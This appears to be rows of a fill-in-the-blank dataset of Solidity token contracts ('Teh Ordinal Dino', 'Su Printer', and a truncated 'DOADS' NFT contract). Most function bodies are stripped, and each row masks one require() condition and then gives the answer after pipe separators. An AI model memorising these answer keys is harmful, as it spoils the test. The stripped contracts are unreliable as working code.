contract TehOrdinalDino is tokenStaking, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = 'Teh Ordinal Dino';
string private constant _symbol = 'TOD';
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
uint256 public _maxTxAmount = ( _totalSupply * 100 ) / 10000;
uint256 public _maxSellAmount = ( _totalSupply * 100 ) / 10000;
uint256 public _maxWalletToken = ( _totalSupply * 100 ) / 10000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) private isBot;
IRouter router;
address public pair;
bool private tradingAllowed = false;
uint256 private liquidityFee = 0;
uint256 private marketingFee = 350;
uint256 private developmentFee = 150;
uint256 private NFTFee = 0;
uint256 private tokenStakingFee = 0;
uint256 private lpStakingFee = 0;
uint256 private totalFee = 2500;
uint256 private sellFee = 2500;
uint256 private transferFee = 2500;
uint256 private denominator = 10000;
bool private swapEnabled = true;
uint256 private swapTimes;
uint256 private swapAmount = 1;
bool private swapping;
bool private feeless;
uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000;
uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier feelessTransaction { }
modifier lockTheSwap { }
mapping(address => uint256) private lastTransferTimestamp;
bool public transferDelayEnabled = false;
mapping(address => uint256) public amountStaked;
uint256 public totalStaked;
stakeIntegration internal stakingContract;
address internal token_staking;
address internal lp_staking;
address internal NFT_receiver;
address internal development_receiver;
address internal marketing_receiver;
address internal liquidity_receiver;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
event Deposit(address indexed account, uint256 indexed amount, uint256 indexed timestamp);
event Withdraw(address indexed account, uint256 indexed amount, uint256 indexed timestamp);
event Compound(address indexed account, uint256 ethAmount, uint256 indexed timestamp);
event SetStakingAddress(address indexed stakingAddress, uint256 indexed timestamp);
event SetisBot(address indexed account, bool indexed isBot, uint256 indexed timestamp);
event ExcludeFromFees(address indexed account, bool indexed isExcluded, uint256 indexed timestamp);
event SetDividendExempt(address indexed account, bool indexed isExempt, uint256 indexed timestamp);
event SetInternalAddresses(address indexed marketing, address indexed liquidity, address indexed treasury, uint256 timestamp);
event SetDistributionCriteria(uint256 indexed minPeriod, uint256 indexed minDistribution, uint256 indexed distributorGas, uint256 timestamp);
event SetParameters(uint256 indexed maxTxAmount, uint256 indexed maxWalletToken, uint256 indexed maxTransfer, uint256 timestamp);
event SetSwapBackSettings(uint256 indexed swapAmount, uint256 indexed swapThreshold, uint256 indexed swapMinAmount, uint256 timestamp);
event SetStructure(uint256 indexed total, uint256 indexed sell, uint256 transfer, uint256 indexed timestamp);
event SetStaking(address indexed tokenStaking, address indexed lpStaking, uint256 tokenFee, uint256 lpFee, uint256 timestamp);
event CreateLiquidity(uint256 indexed tokenAmount, uint256 indexed ETHAmount, address indexed wallet, uint256 timestamp);
constructor() Ownable(msg.sender) {
}
receive() external payable {}
function name() public pure returns (string memory) { }
function symbol() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function startTrading(bool enabled) external onlyOwner { }
function getOwner() external view override returns (address) { }
function totalSupply() public view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function isContract(address addr) internal view returns (bool) { }
function approve(address spender, uint256 amount) public override returns (bool) { }
function availableBalance(address wallet) public view returns (uint256) { }
function circulatingSupply() public view override returns (uint256) { }
function preTxCheck(address sender, address recipient, uint256 amount) internal view {
}
function _transfer(address sender, address recipient, uint256 amount) private {
}
function internalDeposit(address sender, uint256 amount) internal {
}
function deposit(uint256 amount) override external {
}
function withdraw(uint256 amount) override external {
}
function compound() override external feelessTransaction {
}
function setStakingAddress(address _staking) external onlyOwner {
}
function setStructure(uint256 _liquidity, uint256 _development, uint256 _marketing, uint256 _nft, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
}
function setStaking(address _tokenStaking, address _lpStaking, uint256 _token, uint256 _lp) external onlyOwner {
}
function setisBot(address _address, bool _enabled) external onlyOwner {
}
function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
}
function checkTradingAllowed(address sender, address recipient) internal view {
}
function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
}
function swapbackCounters(address sender, address recipient, uint256 amount) internal {
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
if(amountStaked[sender] > uint256(0)){require(<FILL_ME>)}
if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
}
function setSwapbackSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
}
function setInternalAddresses(address _marketing, address _liquidity, address _development, address _nft) external onlyOwner {
}
function checkTradeDelay(address sender, address recipient) internal {
}
function setTransferDelay(bool enabled) external onlyOwner {
}
function setisExempt(address _address, bool _enabled) external onlyOwner {
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount, address receiver) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function swapETHForTokens(uint256 amountETH, address token, address recipient) internal {
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
}
function swapBack(address sender, address recipient, uint256 amount) internal {
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transferERC20(address _address, uint256 _amount) external onlyOwner {
}
function transferBalance(uint256 _amount) external onlyOwner {
}
function createLiquidity(uint256 tokenAmount) payable public feelessTransaction {
}
}
| (amount.add(amountStaked[sender]))<=_balances[sender],"ERC20: Exceeds maximum allowed not currently staked." | 69,366 | (amount.add(amountStaked[sender]))<=_balances[sender] |
"ERC20: Transfer Delay enabled. Only one purchase per block allowed." | /**
TG: https://t.me/TehOrdinalDino
Web: https://tehoridnaldino.live/
Twitter: https://twitter.com/TehOrdinalDino
$TOD aims to be the first meme token with utilities on the Ordinal Chain.
Our dinosaur, Tod, is a fan of the Ordinal Chain vision and wishes to bring his new
found Ethereum community over to the Ordinal chain with him through his very own Bridge and auto-burning swap!
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) { }
function sub(uint256 a, uint256 b) internal pure returns (uint256) { }
function mul(uint256 a, uint256 b) internal pure returns (uint256) { }
function div(uint256 a, uint256 b) internal pure returns (uint256) { }
function mod(uint256 a, uint256 b) internal pure returns (uint256) { }
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function circulatingSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) { }
modifier onlyOwner() { }
function isOwner(address account) public view returns (bool) { }
function transferOwnership(address payable adr) public onlyOwner { }
event OwnershipTransferred(address owner);
}
interface stakeIntegration {
function stakingWithdraw(address depositor, uint256 _amount) external;
function stakingDeposit(address depositor, uint256 _amount) external;
function stakingClaimToCompound(address sender, address recipient) external;
}
interface tokenStaking {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function compound() external;
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract TehOrdinalDino is tokenStaking, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = 'Teh Ordinal Dino';
string private constant _symbol = 'TOD';
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
uint256 public _maxTxAmount = ( _totalSupply * 100 ) / 10000;
uint256 public _maxSellAmount = ( _totalSupply * 100 ) / 10000;
uint256 public _maxWalletToken = ( _totalSupply * 100 ) / 10000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) private isBot;
IRouter router;
address public pair;
bool private tradingAllowed = false;
uint256 private liquidityFee = 0;
uint256 private marketingFee = 350;
uint256 private developmentFee = 150;
uint256 private NFTFee = 0;
uint256 private tokenStakingFee = 0;
uint256 private lpStakingFee = 0;
uint256 private totalFee = 2500;
uint256 private sellFee = 2500;
uint256 private transferFee = 2500;
uint256 private denominator = 10000;
bool private swapEnabled = true;
uint256 private swapTimes;
uint256 private swapAmount = 1;
bool private swapping;
bool private feeless;
uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000;
uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier feelessTransaction { }
modifier lockTheSwap { }
mapping(address => uint256) private lastTransferTimestamp;
bool public transferDelayEnabled = false;
mapping(address => uint256) public amountStaked;
uint256 public totalStaked;
stakeIntegration internal stakingContract;
address internal token_staking;
address internal lp_staking;
address internal NFT_receiver;
address internal development_receiver;
address internal marketing_receiver;
address internal liquidity_receiver;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
event Deposit(address indexed account, uint256 indexed amount, uint256 indexed timestamp);
event Withdraw(address indexed account, uint256 indexed amount, uint256 indexed timestamp);
event Compound(address indexed account, uint256 ethAmount, uint256 indexed timestamp);
event SetStakingAddress(address indexed stakingAddress, uint256 indexed timestamp);
event SetisBot(address indexed account, bool indexed isBot, uint256 indexed timestamp);
event ExcludeFromFees(address indexed account, bool indexed isExcluded, uint256 indexed timestamp);
event SetDividendExempt(address indexed account, bool indexed isExempt, uint256 indexed timestamp);
event SetInternalAddresses(address indexed marketing, address indexed liquidity, address indexed treasury, uint256 timestamp);
event SetDistributionCriteria(uint256 indexed minPeriod, uint256 indexed minDistribution, uint256 indexed distributorGas, uint256 timestamp);
event SetParameters(uint256 indexed maxTxAmount, uint256 indexed maxWalletToken, uint256 indexed maxTransfer, uint256 timestamp);
event SetSwapBackSettings(uint256 indexed swapAmount, uint256 indexed swapThreshold, uint256 indexed swapMinAmount, uint256 timestamp);
event SetStructure(uint256 indexed total, uint256 indexed sell, uint256 transfer, uint256 indexed timestamp);
event SetStaking(address indexed tokenStaking, address indexed lpStaking, uint256 tokenFee, uint256 lpFee, uint256 timestamp);
event CreateLiquidity(uint256 indexed tokenAmount, uint256 indexed ETHAmount, address indexed wallet, uint256 timestamp);
constructor() Ownable(msg.sender) {
}
receive() external payable {}
function name() public pure returns (string memory) { }
function symbol() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function startTrading(bool enabled) external onlyOwner { }
function getOwner() external view override returns (address) { }
function totalSupply() public view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function isContract(address addr) internal view returns (bool) { }
function approve(address spender, uint256 amount) public override returns (bool) { }
function availableBalance(address wallet) public view returns (uint256) { }
function circulatingSupply() public view override returns (uint256) { }
function preTxCheck(address sender, address recipient, uint256 amount) internal view {
}
function _transfer(address sender, address recipient, uint256 amount) private {
}
function internalDeposit(address sender, uint256 amount) internal {
}
function deposit(uint256 amount) override external {
}
function withdraw(uint256 amount) override external {
}
function compound() override external feelessTransaction {
}
function setStakingAddress(address _staking) external onlyOwner {
}
function setStructure(uint256 _liquidity, uint256 _development, uint256 _marketing, uint256 _nft, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
}
function setStaking(address _tokenStaking, address _lpStaking, uint256 _token, uint256 _lp) external onlyOwner {
}
function setisBot(address _address, bool _enabled) external onlyOwner {
}
function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
}
function checkTradingAllowed(address sender, address recipient) internal view {
}
function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
}
function swapbackCounters(address sender, address recipient, uint256 amount) internal {
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
}
function setSwapbackSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
}
function setInternalAddresses(address _marketing, address _liquidity, address _development, address _nft) external onlyOwner {
}
function checkTradeDelay(address sender, address recipient) internal {
if(transferDelayEnabled && !isFeeExempt[sender] && !isFeeExempt[recipient] &&
recipient != address(DEAD) && recipient != address(router) && !feeless){
require(<FILL_ME>)
lastTransferTimestamp[tx.origin] = block.number;}
}
function setTransferDelay(bool enabled) external onlyOwner {
}
function setisExempt(address _address, bool _enabled) external onlyOwner {
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount, address receiver) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function swapETHForTokens(uint256 amountETH, address token, address recipient) internal {
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
}
function swapBack(address sender, address recipient, uint256 amount) internal {
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transferERC20(address _address, uint256 _amount) external onlyOwner {
}
function transferBalance(uint256 _amount) external onlyOwner {
}
function createLiquidity(uint256 tokenAmount) payable public feelessTransaction {
}
}
| lastTransferTimestamp[tx.origin]<block.number,"ERC20: Transfer Delay enabled. Only one purchase per block allowed." | 69,366 | lastTransferTimestamp[tx.origin]<block.number |
null | // https://twitter.com/SUP_ERC20
// https://t.me/Sup_Portal
// SPDX-License-Identifier: Unlicensed
// https://etherscan.io/address/0x3173a590621B9b9F25b4e763eA23b32Af41F3503
pragma solidity 0.8.13;
/**
* Standard SafeMath, stripped down to just add/sub/mul/div
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
/**
* ERC20 standard interface.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Allows for contract ownership along with multi-address authorization
*/
abstract contract Auth {
address internal owner;
constructor(address _owner) {
}
/**
* Function modifier to require caller to be contract deployer
*/
modifier onlyOwner() {
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
}
/**
* Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IDividendDistributor {
function setShare(address shareholder, uint256 amount) external;
function deposit(uint256 amount) external;
function claimDividend(address shareholder) external;
function getDividendsClaimedOf (address shareholder) external returns (uint256);
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address public _token;
address public _owner;
address public immutable SU = address(0x9F5f463A7666e04CDABD22BD83569A5c72Cb4f4D); //UNI
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalClaimed;
}
address[] private shareholders;
mapping (address => uint256) private shareholderIndexes;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalClaimed;
uint256 public dividendsPerShare;
uint256 private dividendsPerShareAccuracyFactor = 10 ** 36;
modifier onlyToken() {
}
modifier onlyOwner() {
}
constructor (address owner) {
}
receive() external payable { }
function setShare(address shareholder, uint256 amount) external override onlyToken {
}
function deposit(uint256 amount) external override onlyToken {
}
function distributeDividend(address shareholder) internal {
}
function claimDividend(address shareholder) external override onlyToken {
}
function getClaimableDividendOf(address shareholder) public view returns (uint256) {
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
}
function addShareholder(address shareholder) internal {
}
function removeShareholder(address shareholder) internal {
}
function manualSend(uint256 amount, address holder) external onlyOwner {
}
function getDividendsClaimedOf (address shareholder) external view returns (uint256) {
}
}
contract SuPrinter is IERC20, Auth {
using SafeMath for uint256;
address private WETH;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
address private ZERO = 0x0000000000000000000000000000000000000000;
address public immutable SU = address(0x9F5f463A7666e04CDABD22BD83569A5c72Cb4f4D); //UNI
string private constant _name = "Su Printer";
string private constant _symbol = "SUP";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 69696969 * (10 ** _decimals);
uint256 private _maxTxAmountBuy = _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private cooldown;
mapping (address => bool) private isFeeExempt;
mapping (address => bool) private isDividendExempt;
mapping (address => bool) private isBot;
uint256 private totalFee = 30;
uint256 private feeDenominator = 100;
address payable public marketingWallet = payable(0xeCDd719e4B8a79614e52bB8CE6f528A3e9171437);
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
bool private tradingOpen;
bool private buyLimit = true;
uint256 private maxBuy = 1393939 * (10 ** _decimals);
uint256 public numTokensSellToAddToLiquidity = 139393 * 10**9;
DividendDistributor private distributor;
bool public blacklistEnabled = false;
bool private inSwap;
modifier swapping() { }
constructor (
address _owner
) Auth(_owner) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if (sender!= owner && recipient!= owner) require(tradingOpen, "Trading not yet enabled."); //transfers disabled before openTrading
if (blacklistEnabled) {
require (!isBot[sender] && !isBot[recipient], "Bot!");
}
if (buyLimit) {
if (sender!=owner && recipient!= owner) require (amount<=maxBuy, "Too much sir");
}
if (sender == pair && recipient != address(router) && !isFeeExempt[recipient]) {
require(<FILL_ME>)
cooldown[recipient] = block.timestamp + 60 seconds;
}
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
bool shouldSwapBack = (overMinTokenBalance && recipient==pair && balanceOf(address(this)) > 0);
if(shouldSwapBack){ swapBack(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
if(sender != pair && !isDividendExempt[sender]){ try distributor.setShare(sender, _balances[sender]) {} catch {} }
if(recipient != pair && !isDividendExempt[recipient]){ try distributor.setShare(recipient, _balances[recipient]) {} catch {} }
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
function takeFee(address sender, uint256 amount) internal returns (uint256) {
}
function swapBack() internal swapping {
}
function swapTokensForSU(uint256 tokenAmount) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function openTrading() external onlyOwner {
}
function setBot(address _address, bool toggle) external onlyOwner {
}
function _setIsDividendExempt(address holder, bool exempt) internal {
}
function setIsDividendExempt(address holder, bool exempt) external onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
}
function setFee (uint256 _fee) external onlyOwner {
}
function manualSend() external onlyOwner {
}
function claimDividend() external {
}
function claimDividend(address holder) external onlyOwner {
}
function getClaimableDividendOf(address shareholder) public view returns (uint256) {
}
function manualBurn(uint256 amount) external onlyOwner returns (bool) {
}
function getCirculatingSupply() public view returns (uint256) {
}
function setMarketingWallet(address _marketingWallet) external onlyOwner {
}
function getTotalDividends() external view returns (uint256) {
}
function getTotalClaimed() external view returns (uint256) {
}
function getDividendsClaimedOf (address shareholder) external view returns (uint256) {
}
function removeBuyLimit() external onlyOwner {
}
function checkBot(address account) public view returns (bool) {
}
function setBlacklistEnabled() external onlyOwner {
}
function setSwapThresholdAmount (uint256 amount) external onlyOwner {
}
}
| cooldown[recipient]<block.timestamp | 69,419 | cooldown[recipient]<block.timestamp |
"Limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
address[] internal _owners;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract ERC721Enum is ERC721, IERC721Enumerable {
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) {
}
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
}
}
contract DOADS is ERC721Enum, Ownable, ReentrancyGuard {
using Strings for uint256;
//sale settings
uint256 public maxWL;
uint256 public maxMint;
bytes32 public whitelistRoot;
uint256 public maxSupply = 6969;
string public baseURI = "https://api.doads.io/doads/content/metadata/";
constructor() ERC721("DoadNFT", "DOAD"){
}
